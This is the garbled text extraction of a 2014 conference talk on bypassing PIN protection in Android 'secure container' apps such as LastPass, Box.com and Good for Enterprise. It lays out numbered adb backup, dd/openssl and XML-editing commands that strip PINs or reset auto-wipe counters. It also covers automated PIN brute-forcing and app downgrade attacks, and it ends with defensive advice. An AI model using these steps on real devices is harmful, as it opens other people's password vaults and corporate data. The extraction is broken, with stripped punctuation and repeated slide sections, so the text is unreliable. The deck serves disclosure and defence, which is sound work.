bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 44: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 45: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

